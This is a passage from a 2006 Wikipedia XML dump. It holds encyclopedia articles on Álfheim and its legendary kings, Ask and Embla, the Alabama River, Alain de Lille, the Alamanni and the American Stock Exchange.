The twentieth century fantasy writer [[J. R. R. Tolkien]] Anglicized the Old Norse name ''Álfheim'' as ''[[Elvenhome]]'' which is imagined in his tales as lying in a coastal region of the [[Undying Lands]] in the far west. The High King of the Elves in the west was [[Ingwë]], an echo of the name [[Yngvi]] often found as a name for Frey, whose abode was in ''Álfheim'' according to the ''Grímnismál''.  

==The region in Scandinavia==
===About the region and its folk===
The [[Ynglinga saga]], when relating the events of the reign of King [[Gudröd the Hunter|Gudröd]] (''Guðröðr'') the Hunter relates:
&lt;blockquote&gt;Álfheim, at that time, was the name of the land between the ''Raumelfr'' ['Raum Elf river', the modern Glomma river] and the ''Gautelfr'' ['Gaut Elf river', the modern Göta älv].&lt;/blockquote&gt;
The words &quot;at that time&quot; indicates the name for the region was archaic or obsolete by the [[13th century]]. The element ''elfr'' is a common word for 'river' and appears in other river names. It is cognate with [[Middle Low German]] ''elve'' 'river' and the name of the river [[Elbe]]. The Raum Elf marked the border of the region of Raumaríki and the Gaut Elf marked the border of Gautland (modern [[Götaland]]). It corresponds closely to the historical Swedish province of [[Bohuslän]].

The name Álfheim here may have nothing to do with ''Álfar'' 'Elves', but may derive from a word meaning 'gravel layer'.

However the ''[[Thorsteins saga Víkingssonar]] '' claims that the two rivers and the country was named from King Álf the Old (''Álfr hinn gamli'') who once ruled there, and that his descendants were all related to the Elves and were more handsome than any other people except for the giants, a unique and possibly corrupt reference to giants being especially good looking. The ''[[Sögubrot af Nokkrum]]'' also mentions the special good looks of the kindred of King Álf the Old.

===Traditions of Álf the Old===
According to ''Thorsteins saga Víkingssonar'', King Álf the Old was married to Bryngerd (''Bryngerðr'') the daughter of King '''[[Raum the Old|Raum]]''' of Raumaríki.

But according to the ''[[Hversu Noregr byggdist]]'', Álf, also called Finnálf, was a son of King Raum who inherited from his father the land from the Gaut Elf river (the modern [[Göta älv]] river) north to the Raum Elf river (the modern [[Glomma]] river), and that the land was then called Álfheim.

Finnálf married Svanhild (''Svanhildr'') who was called Gold-feather (''Gullfj&amp;#491;ðr'') and was the daughter of Day (''[[Dagr]]'') son of Dayspring (''[[Delling]]r'') by Sun (''[[Sol (goddess)|Sól]]'') daughter of ''[[Mundilfari]]''. Dag as a personification of day and the sun-goddess Sól are mentioned elsewhere, but only the ''Hversu'' mentions their daughter. Svandhild bore Finnálf a son named Svan the Red (''Svanr inn Rauðr'') who was father of Sæfari, father of Úlf (''Úlfr''), father of Álf, father of Ingimund (''Ingimundr'') and Eystein (''Eysteinn'').

According to the eddic poem ''[[Hyndluljód]]'' (stanza&amp;nbsp;12), Óttar, whose genealogy is the subject of this poem, was son of Innstein (''Innsteinn''), son of Álf the Old, son of Úlf, son of Sæfari, son of Svan the Red. So the Innstein of the ''Hyndluljód'' and ''Eystein'' of the ''Hversu'' are presumably identical.

===Later kings of Álfheim===
====Stuff of Legend====
Later kings are mentioned in some sagas.

According to [[Saxo Grammaticus]]' ''[[Gesta Danorum]]'' (Book 8), the sons of King [[Gandálf the Old]] joined King [[Harald Hildetand|Harald]] for the [[battle of Bråvalla]]. The ''[[Sögubrot af Nokkrum|Sögubrot]]'' names the sons of Gandálf as Álfar (''Álfarr'') and Álfarin (''Álfarinn'') and makes them members of King Harald's bodyguard. Presumably they died in the battle. But the kingdom of this Gandálf is not identified in these texts.

The ''Sögubrot'' also relates that [[Sigurd Ring|Sigurd Hring]] (''Sigurðr Hringr''), who was Harald's viceroy on the Swedish throne, married Álfhild, the daughter of King Álf the Old of Álfheim. But in a later passage she appears as a descendant of King Álf. The ''Hversu Novegr byggdist'' provides instead a lineage of King Álf the Old of Álfheim who was father of Álfgeir the father of Gandálf the father of Álfhild the mother of the famous [[Ragnar Lodbrok]] (by Sigurd Hring). That Álfhild's father was the same Gandálf whose sons were at the Battle of Bravalla makes good sense in legendary chronology. But this genealogy may have resulted from misidentification of Gandálf the Old of the battle of Bråvalla with Gandálf son of Álfgeir of the ''[[Ynglinga saga]]'' who is discussed below. Or if the two Gandálfs may be rightly identified then the chronology is badly garbled.

In all these accounts, the son of Hring and Álfhild was supposedly the famous Ragnar Lodbrok, husband of [[Áslaug]] (''Áslaugr'') the mother of Sigurd Hart (''Sigurðr Hj&amp;#491;rt'') whose daughter Ragnhild (''Ragnhildr'') married [[Halfdan the Black]] and bore to him [[Harald I of Norway|Harald Fairhair]], the first historic king of all Norway.

''[[Illuga saga Gríðarfóstra]]'' relates of a king Áli of Alfheim and his queen Alfrun. When the queen died, the king married a beautiful but evil woman named Grimhild. She murdered him and tyrannized Alfheim until it was laid waste. His daughter Signy would marry king Hringr of Denmark.

====On the borders of history====
The ''Ynglinga saga'', ''Saga of Halfdan the Black'', and ''Saga of Harald Fairhair'', all included in the ''[[Heimskringla]]'', tell of kings of Álfheim at the end of the legendary period:

* '''Álf:''' His daughter Álfhild (''Álfhildr'') married King [[Gudröd the Hunter]] of [[Raumaríki]] and [[Vestfold|Westfold]] who brought with her half of the territory of [[Vingulmork]] as her dowry. She bore to Gudröd a son named Óláf (''Óláfr'') who was afterwards named Geirstada-Álf (''Geirstaða-Álfr'') and was the elder half-brother of [[Halfdan the Black]].

* '''Álfgeir:''' He as son of Álf. He regained Vingulmork and placed his son Gandálf (''Gandálfr'') over it as king.

* '''Gandálf:''' He was son of Álfgeir. Since this Gandálf was an older contemporary of Harald Fairhair and since the historical Viking leaders identified as sons of Ragnar Lodbrok in some traditions were also contemparies of Harald Fairhair, it is not impossible that Álfhild, the supposed mother of Ragnar Lodbrok, was the daughter of this Gandálf as the ''Hversu Noregr byggdist'' states.  What is told in the ''[[Heimskringla]]'' is that after many indecisive battles between Gandálf and Halfdan the Black, Vingulmork was divided between them, Halfdan regaining the portion which had been the dowry of his grandfather's first wife Álfhild. Two sons of Gandálf named Hýsing (''Hýsingr'') and Helsing (''Helsingr'') later led a force against Halfdan but fell in battle and a third son named Haki fled into Álfheim. When Halfdan's son Harald Fairhair  succeeded his father, Gandálf and his son Haki were both part of an alliance of kings who attacked Harald. Haki was slain but Gandálf escaped. There was further war between Gandálf and Harald. At last Gandálf fell in battle and Harald seized all of Gandálf's land up to the Raum Elf river, at that time not taking Álfheim itself.

But later parts of his saga show Harald in full control of the land west of the Gaut Elf river showing that Álfheim did soon become part of his kingdom. From that point it ceased to be an independent region. The Saga of Harald Fairhair relates that it was first conquered by the Swedish king Eirik Eymundsson ([[Erik Anundsson]]) who lost it to Harald Fairhair.

==Variant spellings==
Variant Anglicizations are: '''Álf''': ''Alf''&amp;nbsp;; '''Álfar''': ''Alfar''&amp;nbsp;;  '''Álfarin''': ''Alfarin''&amp;nbsp;; '''Álfgeir''': ''Alfgeir''&amp;nbsp;;  '''Álfheim''': ''Alfheim''&amp;nbsp;; '''Álfhild''': ''Alfhild''&amp;nbsp;; '''Áslaug''': ''Aslaug''&amp;nbsp;; '''Finnálf''': ''Finnalf''&amp;nbsp;; '''Frey''': ''Freyr''&amp;nbsp;; '''Gandálf''': ''Gandalf''&amp;nbsp;; '''Gimlé''': ''Gimle''&amp;nbsp;; '''Grímnismál''': ''Grimnismal''&amp;nbsp;; '''Gudröd''': ''Gudrod'', ''Guthröth''&amp;nbsp;; '''Haki''': ''Hake''&amp;nbsp;; '''Halfdan the Black''': ''Hálfdan the Black''&amp;nbsp;; '''Raumaríki''': ''Raumarike'', ''Raumarik'', ''Raum's-ric''&amp;nbsp;; '''Sæfari''': ''Saefari''&amp;nbsp;; '''Sigurd Hart''': ''Sigurd Hjort'', ''Sigurth Hart''&amp;nbsp;; '''Sigurd Hring''': ''Sigurd Ring'', ''Sigurth Hring''&amp;nbsp;; '''Sól''': ''Sol''&amp;nbsp;; '''Úlf''': ''Ulf''&amp;nbsp;; '''Ull''': ''Ullr''&amp;nbsp;; '''Völuspá''': ''Voluspá''.

{{NorseMythology}}

[[Category:Locations in Norse mythology|Alfheim]]

[[da:Alfheim]]
[[de:Lichtelfenheim]]
[[es:Alfheim]]
[[fr:Alfheim]]
[[lt:Alfheimas]]
[[nl:Alfheim]]
[[no:Alvheim]]
[[pt:Alfheim]]
[[ru:Льесальфахейм]]
[[fi:Alfheim]]
[[sv:Alfheim]]</text>
    </revision>
  </page>
  <page>
    <title>Ask and Embla</title>
    <id>1482</id>
    <revision>
      <id>38695622</id>
      <timestamp>2006-02-08T00:53:27Z</timestamp>
      <contributor>
        <username>MTSbot</username>
        <id>899034</id>
      </contributor>
      <minor />
      <comment>robot  Adding: lt</comment>
      <text xml:space="preserve">[[Image:Faroe stamp 430 The First Human Beings.jpg|thumb|Ask and Embla on a postage stamp of the Faroe Islands, 2003 by [[Anker Eli Petersen]].]]
In [[Norse Mythology]] '''Ask and Embla''' were the first two humans created by the gods, analogous with [[Adam and Eve]].

[[Odin]] and his brothers, [[Ve]] and [[Vili]], created all nine worlds of Norse cosmology.  They then found two logs on a beach and gave them a human shape.  Odin gave them the breath of life; Vili gave them wit and emotions; Ve gave them senses and speech.  These two people, Ask (&quot;[[ash (tree)|ash]]&quot;), the male, and Embla (&quot;[[elm]]&quot;), became the progenitors of humanity; they lived in [[Midgard]]. 

==Symbolism==
The idea that the first humans were shaped from tree-trunks is apparently a part of the cyclic notions, where light and darkness relieve each other, separated by the semidarkness of the dawn and dusk.

We all know the optical illusions of the twilight, where the outline of an object looks like a human being, an animal or some kind of living creature. But when we take a closer look we become aware that the object is a tree-trunk, a tuft or a boulder.

The function of the gods as creators of the visible World is their capacity as the bringers of light and darkness. If you can imagine that a living creature can turn into a rock or a tree-trunk when the light arrives, then why not go the other way around and claim that the first humans originally were washed up [[driftwood]]?

==Micro cosmos==
Another, just as legitimate explanation, could be conceptions concerning the Micro cosmos. According to this kind of notion, the Cosmos repeats itself in all things, great and small.

Our ancestors knew of course, that the skeleton was the basic structure of the human body. The ribs of the chest, the arms and the fingers can associate to the branches of the treetop, while the feet and toes could pass for the roots of the tree.

There are by the way, vague reminiscences of an ancient tree-cult in the [[Völuspá]]. The poem often touches on mythical notions regarding trees and woods.

The ash and the elm-tree have always been regarded as suitable timber for everyday use. The wood was especially used as shafts on tools, bows, spears and arrows.

==External links==
*[http://www.tjatsi.fo/show.php?sprog=5144b84d6c79ae59d7c8fccde1946e9e&amp;side=8571e23dd92101768bc4ea08a59f0d82 Tjatsi.fo - Retelling and Interpretation of Völuspá] (Public Domain, by Anker Eli Petersen)

{{NorseMythology}}

{{interwikiconflict}}

[[Category:Norse mythology]]

[[ca:Ask]]
[[da:Ask og Embla]]
[[de:Ask und Embla]]
[[es:Ask y Embla]]
[[eo:Ask]]
[[fr:Ask]]
[[is:Askur og Embla]]
[[lt:Askas ir Embla]]
[[nl:Ask en Embla]]
[[no:Ask og Embla]]
[[nn:Ask og Embla]]
[[pl:Ask i Embla]]
[[pt:Ask]]
[[sv:Ask och Embla]]</text>
    </revision>
  </page>
  <page>
    <title>Alabama River</title>
    <id>1484</id>
    <revision>
      <id>39694073</id>
      <timestamp>2006-02-15T05:03:00Z</timestamp>
      <contributor>
        <username>Snottygobble</username>
        <id>111359</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/201.245.183.18|201.245.183.18]] ([[User talk:201.245.183.18|talk]]) to last version by 87.122.33.171</comment>
      <text xml:space="preserve">[[Image:Alabama_River.jpg|300px|thumb|The Alabama River at [[Montgomery, Alabama|Montgomery]] in 2004]]
The '''Alabama River''', in the [[United States|U.S.]] state of [[Alabama]], is formed by the [[Tallapoosa River|Tallapoosa]] and [[Coosa River|Coosa]] rivers, which unite about six miles above [[Montgomery, Alabama|Montgomery]].  

It flows west as far as [[Selma, Alabama|Selma]], then southwest until, 
about 45 miles (72 km) from [[Mobile, Alabama|Mobile]], it unites with the [[Tombigbee River|Tombigbee]] to form the [[Mobile River|Mobile]] and [[Tensas River|Tensas]] rivers, which discharge into [[Mobile Bay]]. 

The course of the Alabama is tortuous. Its width varies from 200 to 300 yards (200 to 300 m), and its depth from 3 to 7 feet (1 to 2 m). Its length as measured by the [[United States Geological Survey]] is 312 miles (502 km), and by steamboat measurement, 420 miles (676 km).  

The river crosses the richest agricultural and timber districts of the state, and [[railway]]s connect it with the [[mineral]] regions of north central Alabama.  

The principal tributary of the Alabama is the [[Cahaba River]] about 200 miles (300 km long, which enters it about 10 miles (16 km) below Selma.  Of the rivers which form the Alabama, the Coosa crosses the mineral region of Alabama, and is navigable for light-draft boats from [[Rome, Georgia]] (where it is formed by the junction of the [[Oostanaula River|Oostanaula]] and [[Etowah River|Etowah]] rivers) to about 117 miles (188 km) above [[Wetumpka River|Wetumpka]] (about 102 miles below Rome and 26 miles (42 km) below Greensport), and from Wetumpka to its junction with the Tallapoosa; the channel of the river has been considerably improved by the federal government.  

The navigation of the Tallapoosa river which has its source in [[Paulding County, Georgia]], and is about 250 miles (400 km) long, is prevented by [[shoal]]s and a 60 foot (18 m) fall at Tallassee, a few miles north of its junction with the Coosa.  The Alabama is navigable throughout the year.

[[Category:Rivers of Alabama]]

[[de:Alabama River]]
[[ko:앨라배마 강]]
[[pl:Alabama (rzeka)]]
[[de:Alabama River]]</text>
    </revision>
  </page>
  <page>
    <title>Alain de Lille</title>
    <id>1485</id>
    <revision>
      <id>41500986</id>
      <timestamp>2006-02-27T20:11:52Z</timestamp>
      <contributor>
        <username>William percy</username>
        <id>630628</id>
      </contributor>
      <text xml:space="preserve">'''Alain de Lille''' (Alanus ab Insulis) (c. [[1128]] - [[1202]]), [[France|French]] [[theology|theologian]] and poet, was born, probably at [[Lille]], some years before 1128.  

Little is known of his life.  He seems to have taught in the schools of [[Paris]], and he attended the [[Third Council of the Lateran|Lateran Council]] in [[1179]].  He afterwards inhabited [[Montpellier]] (he is sometimes called Alanus de Montepessulano), lived for a time outside the walls of any cloister, and finally retired to [[Citeaux]], where he died in 1202.  

He had a very widespread reputation during his lifetime and his knowledge, more varied than profound, caused him to be called ''Doctor universalis''. Among his very numerous works two poems entitle him to a distinguished place in the [[Latin literature]] of the middle ages; one of these, the ''De planctu naturae'', is an ingenious satire on the vices of humanity.  He likened [[homosexual]] behavior to [[grammatical]] barbarism, thus creating the allegory of grammatical &quot;conjugation&quot; which was to have its successors throughout the Middle Ages.  The ''Anticlaudianus'', a treatise on morals as [[Medieval allegory|allegory]], the form of which recalls the pamphlet of Claudian against Rufinus, is agreeably versified and relatively pure in its latinity.  

As a theologian Alain de Lille shared in the mystic reaction of the second half of the 12th century against the [[Scholasticism|scholastic philosophy]].  His [[mysticism]], however, is far from being as absolute as that of the Victorines.  In the ''Anticlaudianus'' he sums up as follows: Reason, guided by prudence, can unaided discover most of the truths of the physical order; for the apprehension of religious truths it must trust to faith.  This rule is completed in his treatise, ''Ars catholicae fidei'', as follows: Theology itself may be demonstrated by reason.  Alain even ventures an immediate application of this principle, and tries to prove geometrically the dogmas defined in the [[Creed]].  This bold attempt is entirely factitious and verbal, and it is only his employment of various terms not generally used in such a connection ([[axiom]], [[theorem]], [[corollary]], etc.) that gives his treatise its apparent originality.  

Alain de Lille has often been confounded with other persons named Alain, in particular with Alain, archbishop of Auxerre, Alan, abbot of Tewkesbury, Alain de Podio, etc.  Certain facts of their lives have been attributed to him, as well as some of their works: thus the ''Life of St Bernard'' should be ascribed to Alain of Auxerre and the ''Commentary upon Merlin'' to [[Alan, abbot of Tewkesbury|Alan of Tewkesbury]].  Neither is the philosopher of Lille the author of a ''Memoriale rerum difficilium'', published under his name; and it is exceedingly doubtful whether the ''Dicta Alani de lapide philocophico'' really issued from his pen.  On the other hand, it now seems practically demonstrated that Alain de Lille was the author of the ''Ars catholicae fidei'' and the ''treatise Contra haereticos''. 

-----
{{1911}}
==External links==
*http://la.wikisource.org/wiki/Alanus_ab_Insulis

==Resources==
Dynes, Wayne R. ''Alan of Lille.'' [http://williamapercy.com/pub-EncyHom.htm '''Encyclopedia of Homosexuality.'''] Dynes, Wayne R. (ed.), Garland Publishing, 1990. p. 32.

[[Category:1128 births]]
[[Category:1202 deaths]]
[[Category:French theologians]]
[[Category:Scholastic philosophers]]

[[de:Alanus ab Insulis]]
[[fr:Alain de Lille]]
[[gl:Alain de Lille]]
[[it:Alano di Lilla]]
[[la:Alanus ab Insulis]]
[[sk:Alanus ab Insulis]]
[[pl:Alan z Lille]]</text>
    </revision>
  </page>
  <page>
    <title>Alamanni</title>
    <id>1486</id>
    <revision>
      <id>40775010</id>
      <timestamp>2006-02-22T23:02:01Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca, nl</comment>
      <text xml:space="preserve">The '''Alamanni''', '''Allemanni''', or '''Alemanni''' were an alliance of warbands formed from [[Germanic tribe]]s, first mentioned by [[Dio Cassius]] when they fought [[Caracalla]] in [[213]]. They apparently dwelt in the basin of the [[Main River|Main]], to the south of the [[Chatti]].

==Tribal connections==
The Alamanni emerged from the [[Irminones]]. According to [[Asinius Quadratus]] their name &amp;mdash;&quot;all men&quot;&amp;mdash;indicates that they were a conglomeration of various tribes formed into warbands, similar to the contemporary [[Huns]]. Another source {{fact}} claims the root of Alamann is ''al-'' from which are also derived Greek ''allos'' &quot;other, alien&quot; and Old High German ''Elisâzzo'' &quot;, Elsaz or Alsace): &quot;the land on the other side of the [[Rhine]]&quot;. There can be little doubt, however, that the ancient [[Hermunduri]] formed the bulk of the composite nation. Other groups included the [[Brisgavi]], [[Juthungi]], [[Bucinobantes]], [[Lentienses]], and perhaps the [[Armalausi]]. Close allies of the Alamanni were the East Germanic  [[Suebi]], or Suabi (hence [[Swabia]]). The Hermunduri had apparently belonged to the Suebi, but it is likely enough that reinforcements from new Suebic tribes had now moved westward. In later times the names ''Alamanni'' and ''Suebi'' seem to become synonymous, although some of the Suebi later migrated to [[Hispania]] and established an independent kingdom there that endured well into the 6th century.

==Conflicts with the Roman Empire==
The Alamanni were continually engaged in conflicts with the [[Roman Empire]]. They launched a major invasion of Gaul and northern [[Italy]] in [[268]], when the Romans were forced to denude much of their German frontier of troops in response to a massive invasion of the [[Goths]]. Their depredations in the three parts of Gaul remained traumatic: [[Gregory of Tours]] (died ca 594) mentions their destructive force at the time of [[Gallienus|Valerian and Gallienus]] (253&amp;ndash;260), when the Alemanni assembled under their &quot;king&quot;, whom he calls [[Chrocus]], &quot;by the advice, it is said, of his wicked mother, and overran the whole of the Gauls, and destroyed from their foundations all the temples which had been built in ancient times. And coming to [[Clermont-Ferrand|Clermont]] he set on fire, overthrew and destroyed that shrine which they call ''Vasso Galatae'' in the Gallic tongue,&quot; martyring many Christians ([http://www.fordham.edu/halsall/basis/gregory-hist.html#book3 ''Historia Francorum'' Book I.32&amp;ndash;34]). Thus [[6th century]] Gallo-Romans of Gregory's class, surrounded by the ruins of [[Roman temple]]s and public buildings, attributed the destruction they saw to the plundering raids of the Alemanni.

In the early summer of 268, the [[Roman Emperors|Emperor]] [[Gallienus]] halted their advance in Italy, but then had to deal with the Goths. When the Gothic campaign ended in Roman victory at the [[Battle of Naissus]] in September, Gallienus' successor [[Claudius II|Claudius II Gothicus]] turned north to deal with the Alamanni, who were swarming over all Italy north of the [[Po River]].

After efforts to secure a peaceful withdrawal failed, Claudius forced the Alamanni to battle at the [[Battle of Lake Benacus]] in November. The Alamanni were routed, forced back into Germany, and did not threaten Roman territory for many years afterwards.

Their most famous battle against Rome took place in Argentoratum ([[Strasbourg]]), in [[357]], where they were defeated by [[Julian the Apostate|Julian]], later Emperor of Rome, and their king Chnodomar (&quot;[[Chonodomarius]]&quot;) was taken prisoner. 

On [[January 2]], [[366]] the Alamanni crossed the frozen [[Rhine]] in large numbers, to invade the Gallic provinces. 

In the great mixed invasion of [[406]], the Alamanni appear to have crossed the [[Rhine|Rhine river]], conquered and then settled what is today [[Alsace]] and a large part of [[Switzerland]]. [[Fredegar]]'s Chronicle gives an account. At ''Alba Augusta'' ([[Aps]]) the devastation was so complete, that the Christian bishopric was removed to [[Viviers]], but Gregory's account that at Mende in [[Lozère]], also deep in the heart of Gaul, bishop Privatus was forced to sacrifice to idols in the very cave where he was later venerated may be a generic literary trope epitomizing the horrors of barbarian violence. 

===List of battles between Romans and Alamanni===
* [[268]], [[Battle of Lake Benacus]] &amp;mdash; Romans under Emperor [[Claudius II]] defeat the Alamanni.
* [[271]]
** [[Battle of Placentia]] &amp;mdash; Emperor [[Aurelian]] is defeated by the Alamanni forces invading Italy
** [[Battle of Fano]] &amp;mdash; Aurelian defeats the Alamanni, who begin to retreat from Italy
** [[Battle of Pavia (271)]] &amp;mdash; Aurelian destroys the retreating Alamanni army.
* [[298]]
** [[Battle of Lingones]] &amp;mdash; [[Caesar (title)|Caesar]] [[Constantius Chlorus]] defeats the Alamanni
** [[Battle of Vindonissa]] &amp;mdash; Constantius again defeats the Alamanni
* [[356]], [[Battle of Reims (356)|Battle of Reims]] &amp;mdash; [[Caesar (title)|Caesar]] [[Julian the Apostate|Julian]] is defeated by the Alamanni
* [[357]], [[Battle of Strasbourg (357)|Battle of Strasbourg]] &amp;mdash; Julian expels the Alamanni from the [[Rhineland]]
* [[367]], [[Battle of Solicinium]] &amp;mdash; Romans under Emperor [[Valentinian I]] defeat yet another Alamanni incursion.
* [[378]], [[Battle of Argentovaria]] &amp;mdash; Western Emperor [[Gratianus]] is victorious over the Alamanni, yet again.

==Alamanni and Franks==
{{main|Alamannia}}
The kingdom (or duchy) of [[Alamannia]] between Strasbourg and Augsburg lasted until [[496]], when the Alamanni were conquered by [[Clovis I]] at the [[Battle of Tolbiac]]. The war of Clovis with the Alamanni forms the setting for the conversion of Clovis, briefly treated by [[Gregory of Tours]] ([http://www.fordham.edu/halsall/source/gregory-clovisconv.html#n30 Book II.31]) Subsequently the Alamanni formed part of the [[Franks|Frankish]] dominions and were governed by a Frankish duke.

In 746, [[Carloman%2C_son_of_Charles_Martel|Carloman]] ended an uprising by summarily executing all Alemannic nobility at the [[blood court at Cannstatt]], and for the following century, Alamannia was ruled by Frankish dukes. Following the [[treaty of Verdun]] of [[843]], Alamannia became a province of the eastern kingdom of [[Louis the German]], the precursor of the [[Holy Roman Empire]]. The duchy persisted until [[1268]].

==List of Alamannic rulers==
'''Kings'''
* [[Chrocus]] 306
* [[Mederich]] (father of Agenarich, brother to Chnodomar)
* [[Chnodomar]] 350, 357
* [[Vestralp]] 357, 359
* [[Ur (Alamannic ruler)|Ur]] 357, 359
* [[Agenarich]] (Serapio) 357
* [[Suomar]] 357, 358
* [[Hortar]] 357, 359
* [[Gundomad]] 354 (co-regent of Vadomar)
* [[Ursicin]] 357, 359
* [[Makrian]] 368&amp;ndash;371
* [[Rando]] 368
* [[Hariobaud]] 4th c.
* [[Vadomar]] vor 354&amp;ndash;360
* [[Vithicab]] 360&amp;ndash;368
* [[Priarius]] ?&amp;ndash;378
* [[Gibuld]] (Gebavult) c. 470

'''Dukes under [[List of Frankish Kings|Frankish rule]]'''
* [[Butilin]] 539&amp;ndash;554
* [[Leuthari I]] before 552&amp;ndash;554
* [[Haming]] 539&amp;ndash;554
* [[Lantachar]] until  548 (Avenches diocese)
* [[Magnachar]] 565 (Avenches diocese)
* [[Vaefar]] 573 (Avenches diocese)
* [[Theodefrid]]
* [[Leutfred I]] until 588
* [[Uncilin]] 588&amp;ndash;607
* [[Gunzo]] 613
* [[Chrodobert]] 630
* [[Leuthari II]] 642
* [[Gotfrid]] until 709
* [[Willehari]] 709&amp;ndash;712 (in [[Ortenau]])
* [[Lantfrid]] 709&amp;ndash;730
* [[Theudebald (Alamannic ruler)|Theudebald]] 709&amp;ndash;744

==Christianization==
[[Christianization]] of the Alamanni took place during [[Merovingian]] times (6th to 8th centuries). Sources are sparse, but in the mid-6th century, the Byzantine chronicler [[Agathias of Myrina]] records, in the context of the wars of the Goths and Franks against Byzantium, that the Alamanni fighting among the troops of Frankish king [[Theudebald]] were like the Franks in all respects except religion, since they
:&quot;worship trees, rivers, hills and gorges as gods, and decapitate horses and cows, and innumerable other animals, as if it were a holy rite,&quot;
also adding the particular ruthlessness of the Alamani in destroying Christian sanctuaries and plundering churches while the genuine Franks were respectful towards those sanctuaries. Agathias expresses his hope that the Alamanni would assume better manners through prolongued contact with the Franks, which is by all appearances what eventually happened.

Apostles of the Alamanni were [[Saint Columbanus]] and his disciple [[Saint Gall]]. [[Jonas of Bobbio]] records that Columbanus was active in [[Bregenz]], where he disrupted a beer sacrifice to [[Wodan]]. For some time, the Alamanni seem to have continued their pagan cult activities, with only superficial or [[Syncretism|syncretistic]] Christian elements. In particular, there is no change in burial practice, and tumulus warrior graves continued to be erected throughout Merovingian times. Syncretism of traditional Germanic [[theriomorph|animal-style]] with Christian symbolism is also present in artwork, but Christian symbolism becomes more and more prevalent during the 7th century. Unlike the later Christianization of the Saxon and of the Slavs, the Alamanni seem to have adopted Christianity gradually, and voluntarily, spread by emulation of the Merovingian elite. 

From ca. the 520s to the 620s, there was a surge of Alamannic [[Elder Futhark]] inscriptions. About 80 specimens have survived, roughly half of them on [[fibula]]e, others on belt buckles (see [[Pforzen buckle]]) and other jewellry and weapon parts. Use of runes subsides with the advance of Christianity.

The establishment of the bishopric of [[Constance]] cannot be dated exactly and was possibly undertaken by Columbanus himself (before 612). In any case, it existed by [[635]], when [[Gunzo]] appointed [[John of Grab]] bishop. Constance was a missionary bishopric in newly converted lands, and did not look back on late Roman church history (unlike [[Basel]], episcopal seat from [[740]], which continued the line of Bishops of [[Augusta Raurica]], see [[Bishop of Basel]], and the Raetian bishopric of [[Chur]], established [[451]]). The establishment of the church as an institution recognized by worldly rulers is also visible in legal history. The early 7th century ''[[Pactus Alamannorum]]'' marginally mentions special privileges of the church, while [[Lantfrid]]'s ''[[Lex Alamannorum]]'' of [[720]] has an entire chapter reserved for ecclesial matters.

See also: [[Germanic Christianity]].

==Modern Alemanni==
''Allemania'' lost its distinct jurisdictional identity when [[Charles Martel]] absorbed it into the Frankish empire, early in the 8th century. Today, ''Alemannic'' is a linguistic term, referring to [[Alemannic German]], encompassing the dialects of the southern two thirds of [[Baden-Württemberg]] (German State), in western [[Bavaria]] (German State), in [[Vorarlberg]] (Austrian State), [[Swiss German]] in Switzerland and the [[Alsatian language]] of the [[Alsace]] (France).

The word &quot;Frankish&quot; eventually gave its name to [[France]] and [[Franconia]], while the Alamanni gave their name for &quot;German&quot; in French (''Allemand''), Spanish (''Alemán'') and Portuguese (''Alemão'').


==References==
*''Franks and Alamanni in the Merovingian Period: An Ethnographic Perspective (Studies in Historical Archaeoethnology)''; Ian Wood (Foreword) ISBN 1843830353
{{1911}}

[[Category:Alamanni|*]]

[[als:Alamannen]]
[[br:Alemanned]]
[[ca:Alaman]]
[[de:Alamannen]]
[[es:Alamanes]]
[[fr:Alamans]]
[[la:Alamanni]]
[[nl:Alemannen]]
[[pl:Alamanowie]]
[[pt:Alamanos]]
[[ru:Алеманны]]
[[sl:Alemani]]
[[fi:Alemannit]]
[[sv:Alemanner]]
[[uk:Алемани]]</text>
    </revision>
  </page>
  <page>
    <title>Aland Islands</title>
    <id>1487</id>
    <revision>
      <id>15899957</id>
      <timestamp>2003-03-06T17:20:24Z</timestamp>
      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <minor />
      <comment>Moved to Åland</comment>
      <text xml:space="preserve">#redirect [[Åland]]</text>
    </revision>
  </page>
  <page>
    <title>American Stock Exchange</title>
    <id>1488</id>
    <revision>
      <id>41734446</id>
      <timestamp>2006-03-01T10:43:29Z</timestamp>
      <contributor>
        <ip>128.84.178.102</ip>
      </contributor>
      <text xml:space="preserve">The '''American Stock Exchange''' ('''AMEX''') is a [[stock exchange]] operated by American Stock Exchange LLC, a subsidiary of the [[NASD]], in the [[United States|United States of America]].

[[Image:AMEX.jpg|250px|thumb|right|American Stock Exchange]]

The Exchange traces its roots back to [[colonial]] times when [[stock broker]]s created outdoor markets to trade new government [[security (finance)|securities]]. The AMEX started out as such a market at the curbstone on Broad Street near Exchange Place. The curb brokers gathered around the lamp posts and mail boxes, resisting wind and weather, putting up lists of [[stock]]s for sale. As trading activity increased, the shouting reached such a high level that special hand signals had to be introduced so that the brokers could continue trading. In [[1921]] the market was moved indoors into the building where it still resides, and the hand signals remained in place for decades even after the move.

In 1998, the American Stock Exchange merged with the National Association of Securities Dealers (operators of [[NASDAQ]]) to create &quot;The Nasdaq-Amex Market Group&quot; where AMEX is an independent entity of the NASD parent company.

Out of the three major American stock exchanges, the AMEX is known to have the most liberal policies concerning company listing, as most of its companies are generally smaller compared to the NYSE and NASDAQ. The Amex also specialises in the trading of ETFs, and hybrid/structured securities. Located next to the [[World Trade Center]], it was tragically affected by the [[September 11, 2001 attacks]], but has recovered well since then. 

==See also==
*[[Exchange-traded fund]] ([http://www.amex.com/?href=/etf/EtMain.jsp American Stock Exchange -  ETFs])
* [[List of stock exchanges]]
* [[NASDAQ]]
* [[New York Stock Exchange]] (NYSE)
* [[Stock exchange]]
* [[Economy of New York City]]

==External links==
* [http://www.amex.com/ American Stock Exchange website]

[[Category:Stock exchanges]]
[[Category:Stock exchanges in North America]]

[[de:American Stock Exchange]]
[[es:American Stock Exchange]]
[[fr:American Stock Exchange]]
[[sv:American Stock Exchange]]</text>
    </revision>
  </page>
  <page>
    <title>August 17</title>
    <id>1490</id>
    <revision>
      <id>41777133</id>
      <timestamp>2006-03-01T17:55:19Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Deaths */ added birth years</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=17}}
|}
'''[[August 17]]''' is the 229th day of the year (230th in [[leap year]]s) in the [[Gregorian Calendar]].  There are 136 days remaining.

==Events==
